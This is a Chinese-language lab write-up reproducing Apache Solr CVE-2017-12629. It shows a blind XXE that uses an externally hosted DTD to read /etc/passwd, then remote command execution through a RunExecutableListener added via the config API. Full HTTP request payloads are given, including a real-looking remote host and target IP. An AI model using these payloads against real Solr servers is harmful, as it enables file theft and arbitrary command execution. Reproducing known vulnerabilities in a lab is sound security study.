1. 程式人生 > 實用技巧 >企業安全01-Apache solr XML實體注入漏洞CVE-2017-12629

企業安全01-Apache solr XML實體注入漏洞CVE-2017-12629

Apache solr XML 實體注入漏洞CVE-2017-12629

一、簡介

Apache Solr 是一個開源的搜尋伺服器。Solr 使用 Java 語言開發,主要基於 HTTP 和 Apache Lucene 實現。原理大致是文件通過Http利用XML加到一個搜尋集合中。查詢該集合也是通過 http收到一個XML/JSON響應來實現。此次7.1.0之前版本總共爆出兩個漏洞:XML實體擴充套件漏洞(XXE)和遠端命令執行漏洞(RCE),二者可以連線成利用鏈,編號均為CVE-2017-12629。

二、環境搭建

執行漏洞環境:
docker-compose up -d

三、漏洞復現


由於返回包中不包含我們傳入的XML中的資訊,所以這是一個Blind XXE漏洞,我們傳送如下資料包(自行修改其中的XXE Payload):
do.dtd

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">


請求包(需要編碼):

GET /solr/demo/select?&q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root%5b%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f47.104.70.161%2fdo.dtd%22%3E%25ext%3b%25ent%3b%5d%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser HTTP/1.1
Host: 8.210.152.234:8983
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Connection: close

四、命令執行

先建立一個listener,其中設定exe的值為我們想執行的命令,args的值是命令引數

POST /solr/demo/config HTTP/1.1
Host:your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 158

{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}


然後進行update操作,觸發剛才新增的listener:

POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15

[{"id":"test"}]

進入容器檢視建立成功